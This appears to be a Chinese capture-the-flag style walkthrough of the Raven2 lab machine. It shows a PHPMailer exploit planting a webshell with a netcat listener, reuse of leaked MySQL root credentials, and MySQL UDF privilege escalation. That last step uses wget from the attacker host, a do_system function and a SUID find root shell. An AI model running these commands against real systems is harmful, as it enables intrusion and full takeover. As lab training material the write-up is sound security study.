靶机 Raven2 / UDF 提权

Raven2

信息搜集

存活检测

image-20231013094025398

详细扫描

image-20231013094051995

后台扫描

dirsearch -u http://10.4.7.135 -x 403
# 过滤状态码为 403 的后台页面

image-20231013094145680

Webshell

漏洞发现

  • 访问扫描出的后台页面

    /vendor 页面

    image-20231013094216730

    发现网站使用了 PHPMailer

    PHPMailer是一个用于发送电子邮件的PHP库。它提供了一个简单而灵活的方式来发送邮件,支持SMTP、POP3和IMAP协议,并且支持附件、HTML内容、邮件认证等功能。PHPMailer可以与大多数主流的邮件服务器和邮件服务提供商一起使用,是PHP开发中常用的邮件发送工具之一

    image-20231013094237854

    查看 VERSION 文件发现版本为 5.2.16

    image-20231013094251094

漏洞利用

  • 搜索漏洞

    serachsploit phpmailer
    

    image-20231013094322788

    下载

    searchsploit -m 40974.py
    
  • 查看攻击脚本并修改

    image-20231013094353760

    • 修改目标 ip,添加存在漏洞的 php 页面,

    • 修改 kali ip

    • 更改后门程序存放位置

      保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件 icepeak.php

  • 运行脚本

    python 40974.py
    

    image-20231013094414682

    成功生成文件

  • kali 开启 nc 监听

    image-20231013094432357

  • 访问脚本在网站生成的 Webshell 文件

    http://10.4.7.135/backdoor.php

  • 成功获取 Webshell

    image-20231013094503147

提权

提权准备

  • 在 /var/www/html/wordpress 目录下的 wp 配置文件 wp-config 文件中发现了数据库的账号密码

    账号 root

    密码 R@v3nSecurity

    image-20231013191445249

  • 尝试登录数据库

    mysql -uroot -pR@v3nSecurity
    
  • 查看数据库中内容,发现两个用户

    image-20231013191800816

    image-20231013192031849

    michael P P PBjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

    steven LOLLOL1

  • 可以使用 steven 登录后台

    image-20231013192411139

    没用

  • 利用工具 LinEnum(Linux枚举及权限提升检查工具)
    链接:https://pan.baidu.com/s/1AT3PKicE05u6PsykiwCt-g?pwd=s8dt
    提取码:s8dt
    image-20231013194214689

    image-20231014092640146

    可以看到 MySQL 服务是 root 身份运行的

UDF 提权

UDF 提权利用前提条件
  1. mysql 配置文件 secure_file_priv 项设置为空,(如果为 NULL 或 /tmp/ 等指定目录,即无法自定义 udf 文件导出位置,则无法利用)。

    show variables like '%secure%'; 查看可导出文件位置

  2. CREATE 权限、FILE 权限(root 用户默认拥有所有权限)。

  3. Linux系统需要 plugin 目录的写入权限。

  4. Linux环境下的 UDF 提权大概率仅限于靶场环境中,原因:在 Linux 严格的系统权限下,mysql 用户或 web 用户无 plugin 目录的写入权限。

UDF 提权原理

在 MySQL 数据库中,UDF 函数的实现通常需要创建一个动态链接库文件(也称为插件文件或plugin文件)。动态链接库是一种可执行文件,可以在程序运行时动态地加载到内存中,与程序进行链接,提供额外的功能。

UDF 函数通常需要使用 C 或 C++ 等编程语言编写,并将其编译成动态链接库文件。在MySQL 中,UDF 函数的动态链接库文件通常使用 .so 或 .dll 扩展名。这个文件包含了 UDF 函数的代码和相关的库文件,可以在 MySQL 中进行加载和使用。

提权过程
  1. 在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
  2. Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
  3. MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
  • 查看当前数据库用户的权限

    select * from mysql.user where user = substring_index(user(), '@', 1)\G;
    

    image-20231014093537160

实现

  • 找到 plugin 文件位置

     find / -name plugin
    

    image-20231014103131911

  • searchsploit 搜索 mysql udf 漏洞脚本并下载

    searchsploit mysql udf
    searchsploit -m 1518.c  
    

    image-20231014100001531

  • 查看漏洞脚本使用方法

    image-20231014100342457

     * Usage:
     * $ id
     * uid=500(raptor) gid=500(raptor) groups=500(raptor)
     * $ gcc -g -c 1518.c
     # -g选项用于在编译过程中生成调试信息,以便在程序出错时进行调试。
     # -c选项用于将源代码编译成目标文件,而不进行链接操作。编译后的目标文件一般以.o或.obj为扩展名。
     * $ gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
     # 将1518.o目标文件与C标准库进行链接,并生成一个名为1518.so的动态链接库文件。
     * $ mysql -uroot -pR@v3nSecurity
     * [...]
     * python -c 'import pty;pty.spawn("/bin/bash")'
     * mysql> use mysql;
     * mysql> create table foo(line blob);
     # 在当前数据库中创建一个名为zwt的表,该表只有一个列名为line,数据类型为blob(二进制大对象)。
     * mysql> insert into foo values(load_file('/tmp/1518.so'));
     # 向zwt表中插入一条记录,该记录的值是通过load_file函数加载/tmp/1518.so文件的内容。load_file函数用于读取文件内容并返回其二进制数据。
     * mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
     # 将读取的 /tmp 下下载的 1518.so 文件输出保存到 /usr/lib/mysql/plugin 动态链接库目录下
     * mysql> create function do_system returns integer soname '1518.so';
     # 创建一个名为do_system的MySQL函数,该函数使用名为1518.so的动态链接库作为实现
     * mysql> select * from mysql.func;
     # 查看已经创建的函数的详细信息
     * +-----------+-----+----------------+----------+
     * | name      | ret | dl             | type     |
     * +-----------+-----+----------------+----------+
     * | do_system |   2 | 1518.so | function |
     * +-----------+-----+----------------+----------+
     * mysql> select do_system('chmod u+s /usr/bin/find');
     * find ./ aaa -exec '/bin/sh' \;
     * sh-2.05b$ cat /tmp/out
     * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
     * [...]
     *
     * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
    
  • kali 编译

    image-20231014105228583

  • 靶机回显

    python -c 'import pty;pty.spawn("/bin/bash")'
    
  • 靶机下载 1518.so

    cd /tmp
    wget http://10.4.7.132/1518.so
    

    image-20231014105247753

  • 动态链接库

    mysql -uroot -pR@v3nSecurity
    use mysql;
    create table foo(line blob);
    insert into foo values(load_file('/tmp/1518.so'));
    select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
    create function do_system returns integer soname '1518.so';
    select * from mysql.func;
    

    image-20231014110231192

  • 执行系统命令赋予 suid 权限

    select do_system('chmod u+s /usr/bin/find');
    

    image-20231014112948415

  • find 提权

    find / abc -exec '/bin/sh' \;
    # \;:表示命令的结束符号。它告诉find命令在每个匹配到的文件或目录后执行一次命令。
    

    image-20231014113222892

    成功获取 root 权限

总结

  • 动态链接库 udf 提权
  • find 提权
  • suid
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值